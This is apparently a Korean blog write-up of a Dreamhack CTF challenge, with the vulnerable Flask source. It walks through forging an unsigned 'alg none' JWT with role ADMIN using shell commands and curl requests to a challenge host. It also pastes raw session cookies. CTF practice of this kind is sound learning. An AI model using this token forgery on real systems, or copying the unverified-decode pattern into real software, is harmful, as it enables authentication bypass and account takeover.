app.py 소스코드다
from flask import Flask, request, jsonify, render_template_string, make_response
import jwt
import datetime
app = Flask(__name__)
SECRET_KEY = "nolmyun_muhhanee_butterfly_whitewhale_musicsogood"
users = {}
html_template = '''
<!DOCTYPE html>
<html>
<head>
<title>JWT CTF Challenge</title>
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 20px;
background-color: #f4f4f4;
}
h1 {
color: #333;
}
form {
margin-bottom: 20px;
background: #fff;
padding: 15px;
border-radius: 8px;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
}
input {
margin-bottom: 10px;
padding: 10px;
border: 1px solid #ccc;
border-radius: 4px;
width: 100%;
}
button {
padding: 10px 15px;
background-color: #007BFF;
color: white;
border: none;
border-radius: 4px;
cursor: pointer;
}
button:hover {
background-color: #0056b3;
}
</style>
</head>
<body>
<h1>Simple Secret Check!</h1>
<h2>Register</h2>
<form action="/register" method="POST">
<label for="username">Username:</label>
<input type="text" id="username" name="username" required>
<button type="submit">Register</button>
</form>
<h2>Login</h2>
<form action="/login" method="POST">
<label for="username">Username:</label>
<input type="text" id="username" name="username" required>
<button type="submit">Login</button>
</form>
<h2>Get Secret</h2>
<button onclick="checkCookie()">Check</button>
<p id="result"></p>
<script>
function checkCookie() {
const cookies = document.cookie.split('; ');
const tokenCookie = cookies.find(row => row.startsWith('token='));
if (!tokenCookie) {
document.getElementById('result').innerText = 'No token found in cookies!';
return;
}
const token = tokenCookie.split('=')[1];
fetch('/flag', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ token: token })
})
.then(response => response.json())
.then(data => {
if (data.flag) {
document.getElementById('result').innerText = `Flag: ${data.flag}`;
} else {
document.getElementById('result').innerText = `Error: ${data.error}`;
}
})
.catch(error => {
document.getElementById('result').innerText = `Request failed: ${error}`;
});
}
</script>
</body>
</html>
'''
@app.route('/')
def home():
return render_template_string(html_template)
@app.route('/register', methods=['POST'])
def register():
username = request.form.get('username')
if username in users:
return jsonify({"error": "Username already exists"}), 400
users[username] = {"role": "USER"}
return jsonify({"message": f"User {username} registered successfully"})
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form.get('username')
if username in users:
token = jwt.encode(
{"username": username, "role": users[username]["role"], "exp": datetime.datetime.utcnow() + datetime.timedelta(minutes=10)},
SECRET_KEY,
algorithm="HS256"
)
response = make_response(jsonify({"message": "Login successful"}))
response.set_cookie("token", token)
return response
return jsonify({"error": "Invalid username"}), 400
return render_template_string(html_template)
@app.route('/flag', methods=['POST'])
def flag():
data = request.get_json()
token = data.get('token') if data else request.cookies.get('token')
if not token:
return jsonify({"error": "Missing token"}), 403
try:
decoded = jwt.decode(token, SECRET_KEY, algorithms=["none"], options={"verify_signature": False})
if decoded.get('role') == 'ADMIN':
return jsonify({"flag": "LOL ADMIN HELLO!!! 0xH0P3{REDACTED}"})
except jwt.ExpiredSignatureError:
return jsonify({"error": "Token expired"}), 403
except jwt.DecodeError:
return jsonify({"error": "Invalid token"}), 403
return jsonify({"error": "Unauthorized"}), 403
if __name__ == '__main__':
app.run(debug=True)
키는 놀면뭐하니 나비 흰고래..노래 너무 좋아..?
ㅋㅋㅋㅋㅋㅋ
이 코드를 분석해보면 JWT 토큰을 조작하여 관리자(ADMIN) 권한을 획득하면 플래그를 얻을 수 있다는 점이 핵심이야.
이제 코드 한 줄씩 설명하면서, 어떻게 공격할 수 있는지 알아보자.
🔎 코드 분석
@app.route('/')
def home():
return render_template_string(html_template)
- / 경로는 기본적으로 html_template을 렌더링하는 역할을 한다.
- 특별한 기능은 없고, 사용자에게 UI를 제공하는 역할.
@app.route('/register', methods=['POST'])
def register():
username = request.form.get('username')
if username in users:
return jsonify({"error": "Username already exists"}), 400
users[username] = {"role": "USER"}
return jsonify({"message": f"User {username} registered successfully"})
- /register 엔드포인트에서 사용자를 등록하는 기능.
- 사용자가 존재하지 않으면 users[username] 딕셔너리에 추가하고, 기본적으로 "USER" 역할을 부여함.
- 즉, 우리가 가입해도 ADMIN 권한을 갖지 못함.
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form.get('username')
if username in users:
token = jwt.encode(
{"username": username, "role": users[username]["role"], "exp": datetime.datetime.utcnow() + datetime.timedelta(minutes=10)},
SECRET_KEY,
algorithm="HS256"
)
response = make_response(jsonify({"message": "Login successful"}))
response.set_cookie("token", token)
return response
return jsonify({"error": "Invalid username"}), 400
return render_template_string(html_template)
- /login 엔드포인트에서 로그인 기능을 처리.
- 로그인 성공 시 JWT 토큰을 생성하고, 해당 토큰을 쿠키로 저장한다.
- 생성된 토큰에는 role 값이 포함되며, 우리가 회원가입하면 "role": "USER"로 고정됨.
- 사용된 **JWT 알고리즘은 "HS256"**이다.
@app.route('/flag', methods=['POST'])
def flag():
data = request.get_json()
token = data.get('token') if data else request.cookies.get('token')
if not token:
return jsonify({"error": "Missing token"}), 403
try:
decoded = jwt.decode(token, SECRET_KEY, algorithms=["none"], options={"verify_signature": False})
if decoded.get('role') == 'ADMIN':
return jsonify({"flag": "LOL ADMIN HELLO!!! 0xH0P3{REDACTED}"})
except jwt.ExpiredSignatureError:
return jsonify({"error": "Token expired"}), 403
except jwt.DecodeError:
return jsonify({"error": "Invalid token"}), 403
return jsonify({"error": "Unauthorized"}), 403
- JWT 토큰을 확인하여 ADMIN 권한이 있는지 검사하는 엔드포인트
- jwt.decode()에서 algorithms=["none"] 옵션과 verify_signature=False 설정이 있음 🚨🚨
- 즉, 서명을 검증하지 않으므로 우리가 직접 토큰을 조작할 수 있음
- role 값이 "ADMIN"이면 플래그 반환.
🚀 공격 방법
1️⃣ 취약점 분석
- jwt.decode()에서 algorithms=["none"]과 verify_signature=False를 사용했으므로 JWT 토큰을 검증하지 않음 → 토큰 위조 가능
- 우리가 직접 role을 "ADMIN"으로 바꾼 가짜 JWT 토큰을 만들어 보내면 플래그를 받을 수 있음.
2️⃣ JWT 토큰 위조
1. 정상적인 USER 토큰 확인
1️⃣ register로 새로운 계정을 만든다.
curl -X POST http://localhost:5000/register -d "username=hacker"
2️⃣ login을 해서 정상적인 USER 토큰을 얻는다.
curl -X POST http://localhost:5000/login -d "username=hacker"
3️⃣ 서버의 응답으로 JWT 토큰을 받는다.
{
"message": "Login successful"
}
이때, 브라우저의 개발자 도구나 JWT 디코더를 사용해서 JWT 토큰을 분석해보자.
2. JWT 토큰 조작
JWT 토큰을 jwt.io 같은 사이트에서 디코딩하면 이런 정보가 나올 거야.
{
"username": "hacker",
"role": "USER",
"exp": 1731257794
}
우리는 "role": "USER"을 "role": "ADMIN"으로 바꿔야 함.
🚨 그러나! algorithms=["none"] 이므로 아예 서명 없이 토큰을 만들면 됨 🚨
3. 위조된 JWT 토큰 생성
JWT 토큰은 다음처럼 구성됨:
header.payload.signature
우리는 signature를 없애버린 위조된 토큰을 생성해야 함.
echo -n '{"alg":"none"}' | base64 | tr -d '=' | tr '/+' '_-' > header.txt
echo -n '{"username":"hacker","role":"ADMIN","exp":1731257794}' | base64 | tr -d '=' | tr '/+' '_-' > payload.txt
paste -d '.' header.txt payload.txt
그러면 아래처럼 서명 없이 위조된 JWT 토큰이 만들어질 거야.
eyJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImhhY2tlciIsInJvbGUiOiJBRE1JTiIsImV4cCI6MTczMTI1Nzc5NH0.
3️⃣ 위조한 JWT 토큰을 서버로 전송
위조된 토큰을 flag 엔드포인트에 전송하면 플래그를 받을 수 있어.
curl -X POST http://localhost:5000/flag -H "Content-Type: application/json" -d '{"token":"eyJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImhhY2tlciIsInJvbGUiOiJBRE1JTiIsImV4cCI6MTczMTI1Nzc5NH0."}'
🔥 서버가 응답:
{
"flag": "LOL ADMIN HELLO!!! 0xH0P3{REDACTED}"
}
🚀 플래그 GET 성공!
✅ 정리
- jwt.decode()에서 verify_signature=False라서 서명 없이 위조된 JWT 토큰을 만들 수 있음.
- role을 "ADMIN"으로 변경한 가짜 토큰을 만들고 서버에 보내면 플래그를 획득할 수 있음.
- JWT 보안 취약점 중 하나인 "none" 알고리즘 취약점을 활용한 공격!
**🔴 실제 환경에서는 이런 취약점이 없도록 JWT 검증을 엄격하게 해야 함! 🔴
_ga=GA1.1.1262192258.1731796082; _ga_GYX8VR6KG3=GS1.1.1731796081.1.1.1731796084.57.0.0; ph_phc_Lscj3UhOISJF5M3pin6NLtGRKqzlH2XhVD8ghl31ZBY_posthog=%7B%22distinct_id%22%3A%2201933717-1b28-75bb-82cb-16571c7cb417%22%2C%22%24sesid%22%3A%5B1731796085561%2C%2201933717-1b27-7c39-8a30-860a304a8ff2%22%2C1731796081447%5D%7D; PHPSESSID=5a73e7597091ce10942a976d1c53d513; backup-timestamp=1739317736.429568; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6IlVTRVIiLCJleHAiOjE3Mzk0MDMzNzN9.55g5X2lsILI4Z6EYboRHrYJapmjSFWJoWUKXFl8aPmg
뭔가 많다
내가 아는건 phpsessid랑 token밖에 모르눈뎅..
eyJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6IkFETUlOIiwiZXhwIjoxNzM5NDAzMzczfQ
🔍 각 명령어 분석 및 설명
이 코드는 JWT (JSON Web Token) 토큰을 생성하는 과정이야.
JWT의 구조는 header.payload.signature로 이루어져 있는데, 여기서는 "alg": "none" 설정을 이용해 서명을 우회하려고 하고 있어.
1️⃣ 첫 번째 명령어: JWT 헤더 생성
echo -n '{"alg":"none"}' | base64 | tr -d '=' | tr '/+' '_-' > header.txt
🛠 설명
- echo -n '{"alg":"none"}'
👉 JSON 형식의 JWT 헤더 부분을 출력 (-n 옵션은 줄바꿈 방지){"alg":"none"}
- | base64
👉 JSON을 Base64 URL 인코딩 (JWT는 Base64 URL 인코딩 사용) - | tr -d '='
👉 Base64 패딩(=) 제거 (JWT에서는 =이 제거된 Base64 URL을 사용) - | tr '/+' '_-'
👉 URL-safe Base64로 변환 (/ → _, + → - 변경) - > header.txt
👉 최종 결과를 header.txt 파일에 저장
📝 예제 실행 결과 (Base64 URL 인코딩)
echo -n '{"alg":"none"}' | base64 | tr -d '=' | tr '/+' '_-'
🔹 출력 예시:
eyJhbGciOiJub25lIn0
(이 값이 header.txt에 저장됨)
2️⃣ 두 번째 명령어: JWT 페이로드 생성
echo -n '{"username":"hacker","role":"ADMIN","exp":1731257794}' | base64 | tr -d '=' | tr '/+' '_-' > payload.txt
🛠 설명
- echo -n '{"username":"hacker","role":"ADMIN","exp":1731257794}'
👉 JWT의 페이로드 부분을 출력{"username":"hacker","role":"ADMIN","exp":1731257794}
- "username": "hacker" → 사용자명
- "role": "ADMIN" → 관리자 권한 부여
- "exp": 1731257794 → 만료 시간 (Unix Timestamp)
- | base64
👉 JSON을 Base64 URL 인코딩 - | tr -d '='
👉 = 패딩 제거 - | tr '/+' '_-'
👉 URL-safe Base64로 변환 - > payload.txt
👉 최종 결과를 payload.txt 파일에 저장
📝 예제 실행 결과
echo -n '{"username":"hacker","role":"ADMIN","exp":1731257794}' | base64 | tr -d '=' | tr '/+' '_-'
🔹 출력 예시:
eyJ1c2VybmFtZSI6ImhhY2tlciIsInJvbGUiOiJBRE1JTiIsImV4cCI6MTczMTI1Nzc5NH0
(이 값이 payload.txt에 저장됨)
3️⃣ 세 번째 명령어: 헤더와 페이로드 결합
paste -d '.' header.txt payload.txt
🛠 설명
- paste -d '.' header.txt payload.txt
👉 header.txt와 payload.txt 파일을 .(점)으로 연결 - 결과적으로, JWT의 "header.payload" 부분을 생성
📝 예제 실행 결과
paste -d '.' header.txt payload.txt
🔹 출력 예시:
eyJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImhhY2tlciIsInJvbGUiOiJBRE1JTiIsImV4cCI6MTczMTI1Nzc5NH0
📌 이제 JWT의 서명(signature) 부분이 없는 상태의 토큰을 완성한 것!
서명 검증이 비활성화된 시스템에서는 이 JWT를 사용해 관리자 권한을 획득할 수 있음.
🏆 최종 요약
명령어 설명
`echo -n '{"alg":"none"}' | base64 |
`echo -n '{"username":"hacker","role":"ADMIN","exp":1731257794}' | base64 |
paste -d '.' header.txt payload.txt | JWT 헤더 + 페이로드 결합 |
이제 JWT를 서버에 요청하면 관리자 권한을 획득할 수 있어! 🚀
오류 메시지를 보면 JSON을 제대로 읽지 못했다는 걸 알 수 있어.
즉, 요청 본문이 JSON 형식이 아니라는 의미야.
이럴 때는 몇 가지 원인을 의심해볼 수 있어.
✅ 오류 원인 및 해결 방법
🚨 1. JSON 형식 문제 (Syntax Error)
현재 -d 옵션에서 JSON을 **단일 따옴표 (' ')**로 감싸고 있어. 하지만 Windows cmd에서는 단일 따옴표를 문자열 구분자로 인식하지 않아 제대로 전송되지 않을 가능성이 큼.
👉 따라서, JSON을 이스케이프하거나 이중 따옴표 (" ")를 사용해야 함.
🔹 수정된 명령어 (이중 따옴표 사용)
curl -X POST http://host1.dreamhack.games:13834/flag -H "Content-Type: application/json" -d "{\"token\":\"eyJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6IkFETUlOIiwiZXhwIjoxNzM5NDAzMzczfQ.\"}"
💡 이렇게 하면 JSON이 올바르게 전송될 가능성이 높음.
🚨 2. 줄바꿈 문자 문제
Windows cmd에서는 JSON을 다룰 때 자동으로 줄바꿈이 삽입될 수도 있음.
👉 이를 방지하려면 --data-raw 옵션을 사용해보자.
🔹 수정된 명령어 (--data-raw 사용)
curl -X POST http://host1.dreamhack.games:13834/flag -H "Content-Type: application/json" --data-raw "{\"token\":\"eyJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6IkFETUlOIiwiZXhwIjoxNzM5NDAzMzczfQ.\"}"
💡 --data-raw 옵션을 사용하면 Windows cmd에서 불필요한 변환 없이 데이터를 그대로 전송할 수 있어.
🚨 3. 서버 URL 문제
너가 입력한 URL을 보면 /flag 경로 앞에 **슬래시가 두 개 (//flag)**가 붙어 있음.
일부 서버에서는 이게 문제될 수 있어.
👉 슬래시를 하나만 남기고 다시 시도해보자.
🔹 수정된 URL
curl -X POST http://host1.dreamhack.games:13834/flag -H "Content-Type: application/json" --data-raw "{\"token\":\"eyJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6IkFETUlOIiwiZXhwIjoxNzM5NDAzMzczfQ.\"}"
🚀 최종 정리
- JSON을 올바르게 전송하려면 단일 따옴표 대신 이중 따옴표 사용
- Windows cmd의 JSON 처리 문제를 해결하려면 --data-raw 옵션 사용
- URL을 확인하여 //flag 대신 /flag로 수정
🔴 이제 위 명령어로 다시 시도해봐! 🔴
그리고 만약 여전히 Bad Request가 뜬다면, jwt.io 같은 사이트에서 JWT 토큰을 다시 확인해봐.
(혹시 role이 "ADMIN"으로 제대로 설정되지 않았을 수도 있어.)
"flag": "LOL ADMIN HELLO!!! 0xH0P3{kimsungwha_trying_to_solve_but_still_no_flag_zzzzzzzzlol}"
'Dreamhack > Dreamhack Wargame (Challenge)' 카테고리의 다른 글
[157] IT 비전공자 [dreamhack] 40 Birthdays문제풀기 (0) | 2025.02.14 |
---|---|
[155] IT 비전공자 [dreamhack]Simple Note Manager문제 풀기 (0) | 2025.02.12 |
[154] IT 비전공자 [dreamhack]Badge문제 풀기 (0) | 2025.02.11 |
[153] IT 비전공자 [dreamhack]INVERSE문제 풀기 (0) | 2025.02.10 |
[152] IT 비전공자 [dreamhack]Insecure Seed문제 풀기 (0) | 2025.02.10 |